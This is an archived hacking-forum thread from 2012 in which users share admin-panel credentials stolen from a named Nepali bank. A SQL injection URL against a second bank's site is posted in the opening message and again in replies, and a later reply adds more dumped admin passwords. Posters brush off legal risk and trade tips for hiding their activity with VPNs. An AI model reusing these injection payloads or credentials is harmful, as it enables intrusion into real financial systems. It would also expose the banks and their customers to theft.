[HACKED - Giveaway] "Mega Bank Nepal" admin panel + another bank - by Zyklon B

[HACKED - Giveaway] "Mega Bank Nepal" admin panel + another bank - by Zyklon B - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [HACKED - Giveaway] "Mega Bank Nepal" admin panel + another bank - by Zyklon B (/showthread.php?tid=2504232)

Pages: Pages 1 2

[HACKED - Giveaway] "Mega Bank Nepal" admin panel + another bank - by Zyklon B - Error667 - May 17, 2012

Hei,
I was quite boring, and this mini-hack happened :

Code 
http://megabanknepal.com/control/

usr : megaadmin

pwd : Meg@p@ss

Secondary ;

usr : forexadmin

pwd : forexpass

Bonus :
Just another bank, simple attack :

Code 
http://primebank.com.np/news_detail.php?id=-97%20union%20select%20group_concat%28Loginname,0x3a,loginpassword%29,2,3%20from%20pr1mecom_db.tbl_adminuser--

Follow me on twitter : https://twitter.com/#!/bzyklon
Regards,

Zyklon B

Edit : a n00b probably changed the password, sorry for others. I provided "secondary" login credentials, whose are much less important.

* - Qrixin - May 17, 2012

Havij hacker...

You even cant do a simple SQLi ?

Code 
http://primebank.com.np/news_detail.php?id=-97+union+select+group_concat%28Loginname,0x3a,loginpassword%29,2,3+from+pr1mecom_db.tbl_adminuser--

Anyway good find...

* - Error667 - May 17, 2012

(May 17, 2012 01:20 PM)Qrixin Wrote: Havij hacker...

You even cant do a simple SQLi ?

Code
http://primebank.com.np/news_detail.php?id=-97+union+select+group_concat%28Loginname,0x3a,loginpassword%29,2,3+from+pr1mecom_db.tbl_adminuser--

Anyway good find...

Havij ? Lol. I just copy/pasted the url, and was too lazy to change %20 by a space, and so on.

* - TheDetire - May 17, 2012

its says that the acc is invalid?
maybe someone changed it

* - xx 0x0 xx - May 17, 2012

i like your work brother good work i wish to you good luck :)

* - Error667 - May 18, 2012

Thanks buddies, but this release is quite insignificant, I do not deserve encouragements for that.

* - Hycca - May 18, 2012

(May 17, 2012 01:22 PM)Zyklon B Wrote: Havij ? Lol. I just copy/pasted the url, and was too lazy to change %20 by a space, and so on.

You don't need to replace it, you can just use load url in hackbar and copy it. However I do believe that you did it manually, good job =).

* - unit56 - May 18, 2012

Love your work always give me a laugh Zyklon, Stay Safe and keep up the good work :)

* - Error667 - May 19, 2012

(May 18, 2012 09:50 PM)unit56 Wrote: Love your work always give me a laugh Zyklon, Stay Safe and keep up the good work :)

Thanks a lot bro, but i don't think this is impressive, ain't ?

* - Great Prosperity - May 19, 2012

I love how people are stupid enough to hack a bank. And the even stupider people who actually tried to login with those credentials. Anyone who logged in got their IP logged. Get ready for a raid by authorities.

* - Error667 - May 19, 2012

(May 19, 2012 11:29 AM)Spikeye Wrote: I love how people are stupid enough to hack a bank. And the even stupider people who actually tried to login with those credentials. Anyone who logged in got their IP logged. Get ready for a raid by authorities.

I do not care about that anymore ; I privilege my interests to my conscience.
Furthermore, if you are well-hidden (even if you're never 100% safe), i don't think there is a problem.

* - Dogelan - May 19, 2012

(May 19, 2012 11:29 AM)Spikeye Wrote: I love how people are stupid enough to hack a bank. And the even stupider people who actually tried to login with those credentials. Anyone who logged in got their IP logged. Get ready for a raid by authorities.

It's called use a fucking VPN 😧

* - Hycca - May 20, 2012

(May 19, 2012 02:08 PM)4lecrypter Wrote: It's called use a fucking VPN 😧

I find it funny how people think VPN's are safe.

* - Savsal14 - May 21, 2012

(May 19, 2012 01:54 PM)Zyklon B Wrote: I do not care about that anymore ; I privilege my interests to my conscience.
Furthermore, if you are well-hidden (even if you're never 100% safe), i don't think there is a problem.

Yea I agree.

Also I used sqli to find the admin details again.

The only admin accounts I could find weren't working...

username: admin pass: prime@adm1n
username: treasury pass: treasury@prime
username: bikash pass: bikash@12345
username: prajjwal pass: gautam
--
Anyway I really admire your work! Keep it up!

* - RIPPER - May 21, 2012

nice one mate..As always..
[35 chars/....fafiabfaibgiagbaiguabgabguia]